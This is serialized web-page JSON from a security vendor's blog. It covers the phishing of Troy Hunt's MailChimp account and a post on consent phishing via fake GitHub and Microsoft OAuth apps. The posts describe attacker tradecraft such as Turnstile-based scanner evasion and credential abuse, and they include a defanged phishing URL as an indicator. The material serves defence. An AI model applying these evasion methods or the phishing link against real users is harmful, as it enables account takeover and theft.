",{"data":133807,"content":133808,"nodeType":866},{},[133809],{"data":133810,"marks":133811,"value":133812,"nodeType":865},{},[],"Then, with the additional victims, you could target accounts that are much more inherently valuable to an attacker. You could:",{"data":133814,"content":133815,"nodeType":1616},{},[133816,133848,133871],{"data":133817,"content":133818,"nodeType":1570},{},[133819],{"data":133820,"content":133821,"nodeType":866},{},[133822,133826,133833,133837,133844],{"data":133823,"marks":133824,"value":133825,"nodeType":865},{},[],"Deploy infostealer malware, which has dominated the headlines since the success of the ",{"data":133827,"content":133828,"nodeType":889},{"uri":3488},[133829],{"data":133830,"marks":133831,"value":13698,"nodeType":865},{},[133832],{"type":943},{"data":133834,"marks":133835,"value":133836,"nodeType":865},{},[]," attacks last year, and are continually resulting in data breaches via attackers logging into apps using stolen credentials such as the recent attacks on ",{"data":133838,"content":133839,"nodeType":889},{"uri":15860},[133840],{"data":133841,"marks":133842,"value":102968,"nodeType":865},{},[133843],{"type":943},{"data":133845,"marks":133846,"value":133847,"nodeType":865},{},[]," platforms.",{"data":133849,"content":133850,"nodeType":1570},{},[133851],{"data":133852,"content":133853,"nodeType":866},{},[133854,133858,133867],{"data":133855,"marks":133856,"value":133857,"nodeType":865},{},[],"Target personal apps for banking, email, e-com, and other easily monetizable services — which is increasingly easy to do at-scale using ",{"data":133859,"content":133861,"nodeType":889},{"uri":133860},"https://www.bleepingcomputer.com/news/security/new-atlantis-aio-automates-credential-stuffing-on-140-services/",[133862],{"data":133863,"marks":133864,"value":133866,"nodeType":865},{},[133865],{"type":943},"tooling for hire",{"data":133868,"marks":133869,"value":133870,"nodeType":865},{},[]," with stolen credentials.",{"data":133872,"content":133873,"nodeType":1570},{},[133874],{"data":133875,"content":133876,"nodeType":866},{},[133877],{"data":133878,"marks":133879,"value":133880,"nodeType":865},{},[],"Even attempt to deploy ransomware and other malicious software to progress an attack on user devices and networks (a pretty relevant use case for the many subscribers of Troy’s newsletter accessing it on their corporate device!).",{"data":133882,"content":133883,"nodeType":866},{},[133884],{"data":133885,"marks":133886,"value":133887,"nodeType":865},{},[],"Even grabbing the list of newsletter sign-ups could enable the attacker to perform this attack from a different MailChimp account, so anyone subscribed to Troy’s newsletter should be wary of emails impersonating Troy’s newsletter reaching them from a different sender address than usual. ",{"data":133889,"content":133890,"nodeType":1317},{},[133891],{"data":133892,"marks":133893,"value":133895,"nodeType":865},{},[133894],{"type":926},"Account security limitations",{"data":133897,"content":133898,"nodeType":866},{},[133899,133903,133911],{"data":133900,"marks":133901,"value":133902,"nodeType":865},{},[],"On the theme of MailChimp, it’s also notable that MailChimp doesn’t appear to offer SAML support. ",{"data":133904,"content":133906,"nodeType":889},{"uri":133905},"https://www.okta.com/integrations/mailchimp/",[133907],{"data":133908,"marks":133909,"value":133910,"nodeType":865},{},[],"Okta lists the app as only available for SWA",{"data":133912,"marks":133913,"value":133914,"nodeType":865},{},[]," (where separate credentials are created to access the app, managed through Okta — more like a password manager than genuine SSO via SAML or OIDC).",{"data":133916,"content":133920,"nodeType":912},{"target":133917},{"sys":133918},{"id":133919,"type":909,"linkType":910},"7b4RZhUIqJMF1OxmyR0qKH",[],{"data":133922,"content":133923,"nodeType":866},{},[133924],{"data":133925,"marks":133926,"value":133927,"nodeType":865},{},[],"This means you’re forced to use a username and password. Your only SSO option is to sign in with Google — which many non-Google Workspace users may not have access to. ",{"data":133929,"content":133930,"nodeType":866},{},[133931],{"data":133932,"marks":133933,"value":133934,"nodeType":865},{},[],"As Troy points out, MailChimp also fails to offer support for phishing-resistant MFA. This is pretty typical (if disappointing) for the long tail of SaaS apps, which typically leave WebAuthn / passkey support to the IdP. Except in this case, support for SSO in general is limited, meaning you can only use passkeys if you’re logging in with Google. ",{"data":133936,"content":133940,"nodeType":912},{"target":133937},{"sys":133938},{"id":133939,"type":909,"linkType":910},"2lT7fBiOq4JxpMxSLrdUOv",[],{"data":133942,"content":133943,"nodeType":866},{},[133944],{"data":133945,"marks":133946,"value":133947,"nodeType":865},{},[],"So it’s possible that attackers have noticed that accounts in MailChimp are far more likely to have insecure accounts than other traditional phishing targets — simply because they cannot be configured as securely. ",{"data":133949,"content":133953,"nodeType":912},{"target":133950},{"sys":133951},{"id":133952,"type":909,"linkType":910},"30APqb65kzTA4ySWJIkxGh",[],{"data":133955,"content":133956,"nodeType":1317},{},[133957],{"data":133958,"marks":133959,"value":133961,"nodeType":865},{},[133960],{"type":926},"It might not just be MailChimp",{"data":133963,"content":133964,"nodeType":866},{},[133965],{"data":133966,"marks":133967,"value":133968,"nodeType":865},{},[],"It looks like the same attackers have previously targeted ActiveCampaign, a marketing email and automation platform, based on GitHub comments from December. A domain previously flagged as malicious relating to ActiveCampaign currently redirects to the malicious MailChimp domain seen in Troy’s attack.",{"data":133970,"content":133974,"nodeType":912},{"target":133971},{"sys":133972},{"id":133973,"type":909,"linkType":910},"7M8W9vAYdqPN8NMU8Ug7jq",[],{"data":133976,"content":133980,"nodeType":912},{"target":133977},{"sys":133978},{"id":133979,"type":909,"linkType":910},"7CJfZwc9BpzIL7Fma1Y6o1",[],{"data":133982,"content":133983,"nodeType":866},{},[133984],{"data":133985,"marks":133986,"value":133987,"nodeType":865},{},[],"This could point to a broader campaign targeting similar SaaS platforms for marketing automation and email distribution.",{"data":133989,"content":133990,"nodeType":972},{},[],{"data":133992,"content":133993,"nodeType":981},{},[133994],{"data":133995,"marks":133996,"value":16038,"nodeType":865},{},[133997],{"type":926},{"data":133999,"content":134000,"nodeType":866},{},[134001,134005,134012,134015,134024],{"data":134002,"marks":134003,"value":134004,"nodeType":865},{},[],"MailChimp might seem an unusual target but there are a lot of ways that attackers can abuse SaaS services, as we’ve discussed at length in our public research with the ",{"data":134006,"content":134007,"nodeType":889},{"uri":13171},[134008],{"data":134009,"marks":134010,"value":115902,"nodeType":865},{},[134011],{"type":943},{"data":134013,"marks":134014,"value":4988,"nodeType":865},{},[],{"data":134016,"content":134018,"nodeType":889},{"uri":134017},"https://pushsecurity.com/resources/",[134019],{"data":134020,"marks":134021,"value":134023,"nodeType":865},{},[134022],{"type":943},"many webinars and conference talks",{"data":134025,"marks":134026,"value":134027,"nodeType":865},{},[],". Account takeover through modern phishing attacks like the one we've analysed here is key to unlocking this attack surface. ",{"data":134029,"content":134030,"nodeType":866},{},[134031],{"data":134032,"marks":134033,"value":134034,"nodeType":865},{},[],"While the vast majority of phishing attacks that we observe do focus on core platforms like Microsoft, Google Workspace and Okta, it makes sense that attackers are broadening their focus to take advantage of the fact that phishing targeting these accounts is less obviously a target, and these accounts are often much less securely configured. But there are many ways to target the interconnected ecosystem of SaaS apps in creative ways that most organizations (and users) are seriously underprepared for. ",{"data":134036,"content":134037,"nodeType":866},{},[134038,134042,134050],{"data":134039,"marks":134040,"value":134041,"nodeType":865},{},[],"Attackers have been targeting consumers and individuals via their sprawl of internet apps for some time — are more business-focused threat groups waking up to the opportunity of targeting SaaS? After all, it’s a ",{"data":134043,"content":134044,"nodeType":889},{"uri":110363},[134045],{"data":134046,"marks":134047,"value":134049,"nodeType":865},{},[134048],{"type":943},"great way to evade established controls elsewhere on the network and endpoints",{"data":134051,"marks":134052,"value":134053,"nodeType":865},{},[],", and you can achieve your objectives simply by logging in to (often weakly secured) user accounts.  ",{"data":134055,"content":134056,"nodeType":866},{},[134057],{"data":134058,"marks":134059,"value":134060,"nodeType":865},{},[],"The moral of the story? Phishing attacks are getting pretty sophisticated (and often much more sophisticated than this). Even security pros get phished sometimes!",{"data":134062,"content":134063,"nodeType":7584},{},[134064],{"data":134065,"content":134066,"nodeType":866},{},[134067],{"data":134068,"marks":134069,"value":134071,"nodeType":865},{},[134070],{"type":926},"This is clear indicator that we need stronger technical controls to prevent phishing. If even someone like Troy can be phished, the only reasonable conclusion is that humans will always be susceptible to phishing, no matter how much awareness training they receive. ",{"data":134073,"content":134074,"nodeType":866},{},[134075],{"data":134076,"marks":134077,"value":134078,"nodeType":865},{},[],"A big thanks to Troy for sharing his write-up of the incident!",{"data":134080,"content":134081,"nodeType":972},{},[],{"data":134083,"content":134084,"nodeType":981},{},[134085],{"data":134086,"marks":134087,"value":6331,"nodeType":865},{},[134088],{"type":926},{"data":134090,"content":134091,"nodeType":866},{},[134092,134096,134105],{"data":134093,"marks":134094,"value":134095,"nodeType":865},{},[],"Push takes a unique browser-based approach to detecting and intercepting phishing attacks that overcomes many of the tricks and techniques attackers use to defeat conventional anti-phishing controls. To learn more, ",{"data":134097,"content":134099,"nodeType":889},{"uri":134098},"https://pushsecurity.com/blog/why-its-time-for-phishing-prevention-to-move-beyond-email/",[134100],{"data":134101,"marks":134102,"value":134104,"nodeType":865},{},[134103],{"type":943},"check out our recent blog post",{"data":134106,"marks":134107,"value":14251,"nodeType":865},{},[],{"data":134109,"content":134110,"nodeType":866},{},[134111,134115,134122],{"data":134112,"marks":134113,"value":134114,"nodeType":865},{},[],"And if you want to see how Push helps you to detect and defeat common identity attack techniques like AiTM phishing, credential stuffing, and session hijacking while improving your workforce identity posture, book some time with one of our team for a ",{"data":134116,"content":134117,"nodeType":889},{"uri":16069},[134118],{"data":134119,"marks":134120,"value":2298,"nodeType":865},{},[134121],{"type":943},{"data":134123,"marks":134124,"value":1615,"nodeType":865},{},[],{"entries":134126},{"hyperlink":134127,"inline":134128,"block":134129},[],[],[134130,134138,134145,134171,134178,134183,134191,134198,134204,134211,134217,134225,134229,134236],{"sys":134131,"__typename":1390,"title":134132,"caption":134133,"layoutMode":59,"file":134134},{"id":133462},"Mailchimp phishing email","Phishing email mimicking the design of MailChimp emails. ",{"url":134135,"width":134136,"height":134137},"https://images.ctfassets.net/y1cdw1ablpvd/GgbsjVF5x9BcsSuR4Gc7s/8f2931a02751edd5e0ebe49fc14540d5/image1.png",1216,1473,{"sys":134139,"__typename":1390,"title":134140,"caption":134141,"layoutMode":59,"file":134142},{"id":133475},"Mailchimp blog image 2","The sender address is from a custom domain that doesn't match MailChimp.",{"url":134143,"width":134144,"height":282},"https://images.ctfassets.net/y1cdw1ablpvd/13as7RS1LRKBQYUVsrfaEq/ffd3dac7a39db009ba5f93e4b448a752/image3.png",450,{"sys":134146,"__typename":5503,"content":134147,"name":134170,"title":59},{"id":133481},{"json":134148},{"data":134149,"content":134150,"nodeType":1382},{},[134151],{"data":134152,"content":134153,"nodeType":866},{},[134154,134158,134167],{"data":134155,"marks":134156,"value":134157,"nodeType":865},{},[],"It’s notable that this email wasn’t actually sent from MailChimp as we’ve seen with other recent attacks where attackers have used third-party SaaS services to send their emails, making them appear more legitimate (such as in ",{"data":134159,"content":134161,"nodeType":889},{"uri":134160},"https://thehackernews.com/2024/12/hubphish-exploits-hubspot-tools-to.html",[134162],{"data":134163,"marks":134164,"value":134166,"nodeType":865},{},[134165],{"type":943},"recent campaigns leveraging HubSpot and DocuSign",{"data":134168,"marks":134169,"value":46245,"nodeType":865},{},[],"Mailchimp blog insight box 1",{"sys":134172,"__typename":1390,"title":134173,"caption":134174,"layoutMode":59,"file":134175},{"id":133511},"Mailchimp blog image 3","Suspicious activity notifications sent at 06:59, 07:00, and 07:01 show how quickly the attack was executed.",{"url":134176,"width":1402,"height":134177},"https://images.ctfassets.net/y1cdw1ablpvd/32prbL1kkdUuSHt7iZv0i9/6dc274e7ff9b22993f9e633c04f05dc5/image10.png",352,{"sys":134179,"__typename":1390,"title":134180,"caption":134181,"layoutMode":59,"file":134182},{"id":133606},"Mailchimp blog image 4","The attacker enumerated Troy's dedicated email used for MailChimp.",{"url":134143,"width":134144,"height":282},{"sys":134184,"__typename":1390,"title":134185,"caption":134186,"layoutMode":59,"file":134187},{"id":133658},"Mailchimp blog image 5","Cloudflare Turnstile is often used to prevent security bots from analysing the attacker's phishing page. ",{"url":134188,"width":134189,"height":134190},"https://images.ctfassets.net/y1cdw1ablpvd/DbEYzQt7m3jY56ALCYWEy/59846e7bd4a3ed204722a9d561e97231/image2.png",938,361,{"sys":134192,"__typename":1390,"title":134193,"caption":134194,"layoutMode":59,"file":134195},{"id":133671},"Mailchimp blog image 6","The site is now being flagged as malicious.",{"url":134196,"width":1402,"height":134197},"https://images.ctfassets.net/y1cdw1ablpvd/7pVNsGvPJC1hMGGPuwznYX/e06f3881f8a6fb8742dd9c95068f4f25/image5.png",1540,{"sys":134199,"__typename":1390,"title":134193,"caption":134200,"layoutMode":59,"file":134201},{"id":133717},"The attacker created an API key for backdoor access to the app.",{"url":134202,"width":1402,"height":134203},"https://images.ctfassets.net/y1cdw1ablpvd/4kQE2MpMXV5edYTZ567NpA/45e5c8d26510959dd91440508280b82b/image9.png",333,{"sys":134205,"__typename":1390,"title":134206,"caption":134207,"layoutMode":59,"file":134208},{"id":133775},"Mailchimp blog image 7","Data captured by the attacker from the exported mailing list.",{"url":134209,"width":78488,"height":134210},"https://images.ctfassets.net/y1cdw1ablpvd/1uOXeOFOEglg6Dzv3kPNud/bd6957fef3cfcdffe02e00f3a9f54b49/image8.png",276,{"sys":134212,"__typename":1390,"title":134213,"caption":134214,"layoutMode":59,"file":134215},{"id":133919},"Mailchimp blog image 8","MailChimp only offers 'Continue with Google' as an SSO option.",{"url":134216,"width":1402,"height":87696},"https://images.ctfassets.net/y1cdw1ablpvd/13VC1YYs1ts8aVO6cbaovA/6cdcf47472e267c25625171a6b8e9653/image7.png",{"sys":134218,"__typename":1390,"title":134219,"caption":134220,"layoutMode":59,"file":134221},{"id":133939},"Mailchimp blog image 9","MailChimp only supports phishable MFA factors",{"url":134222,"width":134223,"height":134224},"https://images.ctfassets.net/y1cdw1ablpvd/2FcpNMwmFmmyp1P9NZ9aCx/9e6d9a407d9db243f2f210d39013c731/image6.png",600,410,{"sys":134226,"__typename":1414,"type":1415,"ctaText":134227,"buttonLabel":134228,"buttonColour":1418,"buttonUrl":8020},{"id":133952},"Learn more about the common security gaps created by app developers that contribute to SaaS identity breaches.","Read the blog",{"sys":134230,"__typename":1390,"title":134231,"caption":59,"layoutMode":59,"file":134232},{"id":133973},"Mailchimp blog image 10",{"url":134233,"width":134234,"height":134235},"https://images.ctfassets.net/y1cdw1ablpvd/5nzmVTjx3clYWDr0hlKPu2/aac584ccda7de2c15d704b14ee0d8c6e/image4.png",1400,1620,{"sys":134237,"__typename":134238,"name":134239,"type":134240,"syntax":134241},{"id":133979},"CodeBlockComponent","Mailchimp blog code snippet","shell","hxxps://groupf.emlnk9.com/lt.php?x=3DZy~GE6KXOf6a4s-tI6hRVt3H2piwDuwehiY5THVXeZ5sF_y0y.zOlz5X2gk.~wjvYxZHP",{"items":134243},[],{},"When even Troy Hunt got phished",{"url":134135},"2025-03-28T00:00:00.000Z",{"items":134249},[134250,134700,135331],{"__typename":1429,"sys":134251,"content":134253,"title":134686,"synopsis":134687,"hashTags":59,"publishedDate":134688,"slug":134689,"tagsCollection":134690,"authorsCollection":134696},{"id":134252},"3uLWz59In1waXGcLB9cnPq",{"json":134254},{"data":134255,"content":134256,"nodeType":1382},{},[134257,134286,134306,134313,134320,134323,134331,134338,134344,134350,134356,134363,134383,134389,134392,134400,134407,134414,134421,134427,134434,134441,134447,134454,134472,134477,134484,134487,134495,134502,134508,134515,134560,134566,134573,134576,134584,134591,134598,134604,134609,134615,134618,134626,134633,134639,134646,134653,134656,134663,134669],{"data":134258,"content":134259,"nodeType":866},{},[134260,134263,134270,134274,134282],{"data":134261,"marks":134262,"value":21,"nodeType":865},{},[],{"data":134264,"content":134265,"nodeType":889},{"uri":56197},[134266],{"data":134267,"marks":134268,"value":84010,"nodeType":865},{},[134269],{"type":943},{"data":134271,"marks":134272,"value":134273,"nodeType":865},{},[]," was one of the first techniques we added to the ",{"data":134275,"content":134277,"nodeType":889},{"uri":134276},"https://github.com/pushsecurity/saas-attacks?tab=readme-ov-file",[134278],{"data":134279,"marks":134280,"value":115902,"nodeType":865},{},[134281],{"type":943},{"data":134283,"marks":134284,"value":134285,"nodeType":865},{},[],", where attackers trick users into authorizing malicious OAuth apps. ",{"data":134287,"content":134288,"nodeType":866},{},[134289,134293,134302],{"data":134290,"marks":134291,"value":134292,"nodeType":865},{},[],"The attacker sends a phishing link to a target that requests permissions to access sensitive data or permissions to perform dangerous actions for an app the victim is using. If the target grants consent for the permissions, the adversary gains that level of access over the target’s account — and certain data and functionality ",{"data":134294,"content":134296,"nodeType":889},{"uri":134295},"https://pushsecurity.com/blog/the-risky-terrain-of-oauth-scopes-in-third-party/",[134297],{"data":134298,"marks":134299,"value":134301,"nodeType":865},{},[134300],{"type":943},"depending on the scopes granted",{"data":134303,"marks":134304,"value":134305,"nodeType":865},{},[],". This attack bypasses MFA entirely (including phishing-resistant MFA) by sidestepping the login process — think of it as an authorization attack, as opposed to an authentication one. Naturally, this means it also persists through typical authentication changes like a password reset. ",{"data":134307,"content":134308,"nodeType":866},{},[134309],{"data":134310,"marks":134311,"value":134312,"nodeType":865},{},[],"Consent phishing has been primarily aimed at getting access to larger cloud platforms like Microsoft Azure or Google Workspace tenants, or more complex apps like GitHub. These apps present an obvious opportunity to attackers in terms of the functionality and and data they contain.  ",{"data":134314,"content":134315,"nodeType":866},{},[134316],{"data":134317,"marks":134318,"value":134319,"nodeType":865},{},[],"Two separate cases of consent phishing have hit the headlines this month representing very different use cases — let’s compare them. ",{"data":134321,"content":134322,"nodeType":972},{},[],{"data":134324,"content":134325,"nodeType":981},{},[134326],{"data":134327,"marks":134328,"value":134330,"nodeType":865},{},[134329],{"type":926},"1. Classic consent phishing",{"data":134332,"content":134333,"nodeType":866},{},[134334],{"data":134335,"marks":134336,"value":134337,"nodeType":865},{},[],"Attackers targeted GitHub users across 12,000 repositories by creating fake security alert issues in GitHub repositories. These legit-looking alerts send the victim to a GitHub authorization page for a \"gitsecurityapp\" OAuth app that requests a lot of very risky scopes granting full access to a user's account and repositories.",{"data":134339,"content":134343,"nodeType":912},{"target":134340},{"sys":134341},{"id":134342,"type":909,"linkType":910},"7s7VLePAQzhzXJ6cFkSCAe",[],{"data":134345,"content":134349,"nodeType":912},{"target":134346},{"sys":134347},{"id":134348,"type":909,"linkType":910},"5dppSzNOgffeZTZK2lG6V5",[],{"data":134351,"content":134355,"nodeType":912},{"target":134352},{"sys":134353},{"id":134354,"type":909,"linkType":910},"1dsYU7bM5mPW1AXyRLnqpp",[],{"data":134357,"content":134358,"nodeType":866},{},[134359],{"data":134360,"marks":134361,"value":134362,"nodeType":865},{},[],"Once authorized, the attacker has extensive access to the account, from which point they can modify repositories to conduct further attacks against users (e.g. by infecting them with malware), poison the repos and services connected to the repository, and exfiltrate any sensitive data the account has access to. ",{"data":134364,"content":134365,"nodeType":866},{},[134366,134370,134379],{"data":134367,"marks":134368,"value":134369,"nodeType":865},{},[],"Alongside consent phishing, this is an example of ",{"data":134371,"content":134373,"nodeType":889},{"uri":134372},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/in-app_phishing/description.md",[134374],{"data":134375,"marks":134376,"value":134378,"nodeType":865},{},[134377],{"type":943},"in-app phishing",{"data":134380,"marks":134381,"value":134382,"nodeType":865},{},[],", which avoids delivering the message via corporate email. Even if the target gets an email notification, the phish isn’t delivered via email directly, and so email-based scanning solutions won’t detect it — they’ll receive a legitimate notification email directly from GitHub. It’s also less likely to raise suspicion as GitHub issue notifications are expected, increasing the click chance. ",{"data":134384,"content":134388,"nodeType":912},{"target":134385},{"sys":134386},{"id":134387,"type":909,"linkType":910},"6d6MMyPQ7vaY2KrJTHGeO6",[],{"data":134390,"content":134391,"nodeType":972},{},[],{"data":134393,"content":134394,"nodeType":981},{},[134395],{"data":134396,"marks":134397,"value":134399,"nodeType":865},{},[134398],{"type":926},"2. Not really consent phishing?",{"data":134401,"content":134402,"nodeType":866},{},[134403],{"data":134404,"marks":134405,"value":134406,"nodeType":865},{},[],"This example is much more unusual. In this case, the attacker used malicious Microsoft OAuth apps impersonating Adobe and DocuSign. ",{"data":134408,"content":134409,"nodeType":866},{},[134410],{"data":134411,"marks":134412,"value":134413,"nodeType":865},{},[],"Rather than trying to grab lots of juicy permissions for Microsoft, the attacker used consent phishing to prevent automated analysis of their phishing page by security tools. To be served the real phishing page, you need to first authorize the fake OAuth app — meaning that security tools and bots won’t be able to reach the page to determine if it’s malicious or not. ",{"data":134415,"content":134416,"nodeType":866},{},[134417],{"data":134418,"marks":134419,"value":134420,"nodeType":865},{},[],"The attack started with attackers sending phishing emails to target users with a fake password reset lure. ",{"data":134422,"content":134426,"nodeType":912},{"target":134423},{"sys":134424},{"id":134425,"type":909,"linkType":910},"3cLd6EbraN9fKuGgL0kkgC",[],{"data":134428,"content":134429,"nodeType":866},{},[134430],{"data":134431,"marks":134432,"value":134433,"nodeType":865},{},[],"Because the initial phishing link directs to the legitimate login.microsoftonline.com URL, it appears legitimate and bypasses common domain-based security checks. ",{"data":134435,"content":134436,"nodeType":866},{},[134437],{"data":134438,"marks":134439,"value":134440,"nodeType":865},{},[],"After clicking the link, the user signs into their real Microsoft account (this might even happen automatically if the user is already signed in on the device/browser they’re using). They are then redirected to a permissions request page for the fake OAuth app. ",{"data":134442,"content":134446,"nodeType":912},{"target":134443},{"sys":134444},{"id":134445,"type":909,"linkType":910},"6O4CSx1VCoPAIjjsnKzu75",[],{"data":134448,"content":134449,"nodeType":866},{},[134450],{"data":134451,"marks":134452,"value":134453,"nodeType":865},{},[],"The permissions requested by the app (profile, email, openid) are so limited as to be basically unexploitable. They are also the same permissions you would accept if you were authorizing Microsoft to perform a social login (SSO via OIDC) to a third party app.",{"data":134455,"content":134456,"nodeType":866},{},[134457,134461,134468],{"data":134458,"marks":134459,"value":134460,"nodeType":865},{},[],"Clicking the link redirects the victim to the malicious page but masks it using the legit Cloudflare Turnstile service. As well as making the page look more credible (since its fronted by a legit service to block bots) this is a common detection evasion technique we’ve ",{"data":134462,"content":134463,"nodeType":889},{"uri":131810},[134464],{"data":134465,"marks":134466,"value":105888,"nodeType":865},{},[134467],{"type":943},{"data":134469,"marks":134470,"value":134471,"nodeType":865},{},[]," which prevents security solutions from accessing and analysing the malicious page. ",{"data":134473,"content":134476,"nodeType":912},{"target":134474},{"sys":134475},{"id":105349,"type":909,"linkType":910},[],{"data":134478,"content":134479,"nodeType":866},{},[134480],{"data":134481,"marks":134482,"value":134483,"nodeType":865},{},[],"After completing the verification, the page (and the malicious phishing kit element) is finally loaded. If the victim authenticates, the session will be stolen by the attacker, along with the captured credentials and MFA code. ",{"data":134485,"content":134486,"nodeType":972},{},[],{"data":134488,"content":134489,"nodeType":981},{},[134490],{"data":134491,"marks":134492,"value":134494,"nodeType":865},{},[134493],{"type":926},"Using consent phishing to evade detection",{"data":134496,"content":134497,"nodeType":866},{},[134498],{"data":134499,"marks":134500,"value":134501,"nodeType":865},{},[],"The attacker is essentially using their fake OAuth app to prevent security analysts and bots from analysing the real phishing page, because the first page loaded is a link to a legitimate Microsoft domain. They’re also layering it with a range of other detection evasion techniques like using Cloudflare Turnstile.  ",{"data":134503,"content":134507,"nodeType":912},{"target":134504},{"sys":134505},{"id":134506,"type":909,"linkType":910},"4Bi9YoMwWVmKoWfkh5tiTA",[],{"data":134509,"content":134510,"nodeType":866},{},[134511],{"data":134512,"marks":134513,"value":134514,"nodeType":865},{},[],"We’ve previously blogged about how attackers are using layered detection evasion techniques to circumvent typical phishing page detections, which are often email-based, including:",{"data":134516,"content":134517,"nodeType":1616},{},[134518,134539],{"data":134519,"content":134520,"nodeType":1570},{},[134521],{"data":134522,"content":134523,"nodeType":866},{},[134524,134527,134535],{"data":134525,"marks":134526,"value":21,"nodeType":865},{},[],{"data":134528,"content":134529,"nodeType":889},{"uri":131810},[134530],{"data":134531,"marks":134532,"value":134534,"nodeType":865},{},[134533],{"type":943},"Prevent analysis of phishing pages",{"data":134536,"marks":134537,"value":134538,"nodeType":865},{},[]," by security bots, including using legitimate services like Cloudflare Workers and Turnstile (as above), CAPTCHA, and various sandbox-aware techniques to ensure only the intended victim is served the phishing page, such as only providing the correct parameters to load the page if the correct path is followed (rather than attempting to load the malicious page by going directly to the domain). ",{"data":134540,"content":134541,"nodeType":1570},{},[134542],{"data":134543,"content":134544,"nodeType":866},{},[134545,134548,134556],{"data":134546,"marks":134547,"value":21,"nodeType":865},{},[],{"data":134549,"content":134550,"nodeType":889},{"uri":123592},[134551],{"data":134552,"marks":134553,"value":134555,"nodeType":865},{},[134554],{"type":943},"DOM and visual obfuscation",{"data":134557,"marks":134558,"value":134559,"nodeType":865},{},[]," of phishing pages when the victim does land on the page to prevent it from being identified as malicious through signature-based detection of page elements. ",{"data":134561,"content":134565,"nodeType":912},{"target":134562},{"sys":134563},{"id":134564,"type":909,"linkType":910},"2dN8np5odBecf7r1vBr69K",[],{"data":134567,"content":134568,"nodeType":866},{},[134569],{"data":134570,"marks":134571,"value":134572,"nodeType":865},{},[],"This seems a bit overkill and many of the steps here are likely to raise suspicion — like the fact that you’re never asked to provide the original code for the password reset, and are asked to unexpectedly consent to an OAuth app. But clearly, the attacker is more concerned about bypassing technical safeguards than human ones (not a great endorsement for the state of phishing awareness training). ",{"data":134574,"content":134575,"nodeType":972},{},[],{"data":134577,"content":134578,"nodeType":981},{},[134579],{"data":134580,"marks":134581,"value":134583,"nodeType":865},{},[134582],{"type":926},"How Push detects and blocks phishing attacks",{"data":134585,"content":134586,"nodeType":866},{},[134587],{"data":134588,"marks":134589,"value":134590,"nodeType":865},{},[],"Push overcomes the various detection evasion techniques shown here by using in-browser detections based on the phishing page that the user sees. This means that no matter where the user accesses the link from (email, IM platform, social media, or anywhere else on the internet) Push can observe and analyse the page to determine if it's malicious. ",{"data":134592,"content":134593,"nodeType":866},{},[134594],{"data":134595,"marks":134596,"value":134597,"nodeType":865},{},[],"Push uses layered detections based on identifying the phishing kit running on the page itself, whether the page is cloned from a legitimate login page, as well as detecting whether the credentials being entered on the page have been used to log into your SSO account previously. ",{"data":134599,"content":134603,"nodeType":912},{"target":134600},{"sys":134601},{"id":134602,"type":909,"linkType":910},"6B1toQAf44rDzQZijYRd9g",[],{"data":134605,"content":134608,"nodeType":912},{"target":134606},{"sys":134607},{"id":123799,"type":909,"linkType":910},[],{"data":134610,"content":134614,"nodeType":912},{"target":134611},{"sys":134612},{"id":134613,"type":909,"linkType":910},"01musWa3FUiO0CVFNWfwcy",[],{"data":134616,"content":134617,"nodeType":972},{},[],{"data":134619,"content":134620,"nodeType":981},{},[134621],{"data":134622,"marks":134623,"value":134625,"nodeType":865},{},[134624],{"type":926},"Using Push to review OAuth integrations",{"data":134627,"content":134628,"nodeType":866},{},[134629],{"data":134630,"marks":134631,"value":134632,"nodeType":865},{},[],"You can also use Push to discover and remove risky OAuth integrations accepted by your users. ",{"data":134634,"content":134638,"nodeType":912},{"target":134635},{"sys":134636},{"id":134637,"type":909,"linkType":910},"5kJvy5SBcWLrK2EhLyR1ZD",[],{"data":134640,"content":134641,"nodeType":866},{},[134642],{"data":134643,"marks":134644,"value":134645,"nodeType":865},{},[],"This shows which OAuth apps have been added, which apps they are integrated with, what permissions they’ve been granted, as well as other properties that indicate risk (e.g. whether the app’s publisher has been verified). ",{"data":134647,"content":134648,"nodeType":866},{},[134649],{"data":134650,"marks":134651,"value":134652,"nodeType":865},{},[],"If your users are consent phished, you’ll be notified via webhook event that a new integration has been added. These risky integrations can be removed via the Push platform by clicking ‘delete integration’. ",{"data":134654,"content":134655,"nodeType":972},{},[],{"data":134657,"content":134658,"nodeType":981},{},[134659],{"data":134660,"marks":134661,"value":105586,"nodeType":865},{},[134662],{"type":926},{"data":134664,"content":134665,"nodeType":866},{},[134666],{"data":134667,"marks":134668,"value":124090,"nodeType":865},{},[],{"data":134670,"content":134671,"nodeType":866},{},[134672,134675,134683],{"data":134673,"marks":134674,"value":104093,"nodeType":865},{},[],{"data":134676,"content":134678,"nodeType":889},{"uri":134677},"https://pushsecurity.com/demo?utm_campaign=9983377-FY25Q1_Bleeping-Computer-Organic-Article&utm_source=bleepingcomputer&utm_medium=sponsored-content&utm_content=organic%20article",[134679],{"data":134680,"marks":134681,"value":105607,"nodeType":865},{},[134682],{"type":943},{"data":134684,"marks":134685,"value":105611,"nodeType":865},{},[],"How consent phishing is evolving to defeat detection controls","Consent phishing is where attackers trick users into authorizing access for malicious OAuth apps. Here's how attackers are using this technique in the wild.","2025-03-31T00:00:00.000Z","how-consent-phishing-is-evolving",{"items":134691},[134692,134694],{"sys":134693,"name":7796},{"id":7795},{"sys":134695,"name":342},{"id":4642},{"items":134697},[134698],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":134699},{"url":7804},{"__typename":1429,"sys":134701,"content":134703,"title":135317,"synopsis":135318,"hashTags":59,"publishedDate":135319,"slug":135320,"tagsCollection":135321,"authorsCollection":135327},{"id":134702},"4UgGUvlZNqkJtx9nNprKg0",{"json":134704},{"data":134705,"content":134706,"nodeType":1382},{},[134707,134714,134744,134750,134757,134760,134768,134775,134782,134815,134822,134829,134836,134839,134847,134866,134873,134880,134886,134893,134900,134903,134911,134918,134925,134931,134938,134958,134991,134998,135001,135009,135016,135023,135029,135036,135043,135050,135055,135062,135068,135075,135078,135085,135092,135099,135102,135110,135117,135124,135131,135134,135142,135149,135156,135163,135170,135177,135182,135189,135196,135201,135208,135240,135246,135258,135278,135284,135287,135294,135300],{"data":134708,"content":134709,"nodeType":866},{},[134710],{"data":134711,"marks":134712,"value":134713,"nodeType":865},{},[],"Most organizations today have invested in an email security solution of some description. But even the most premium tools have significant limitations when it comes to modern phishing attacks. ",{"data":134715,"content":134716,"nodeType":866},{},[134717,134721,134728,134732,134741],{"data":134718,"marks":134719,"value":134720,"nodeType":865},{},[],"The data speaks for itself — phishing remains as big a problem as it ever was (if not bigger!) despite enormous investment in security products and training. In 2024, identity-based attack vectors involving a human element (phishing and stolen credentials) accounted for 80% of 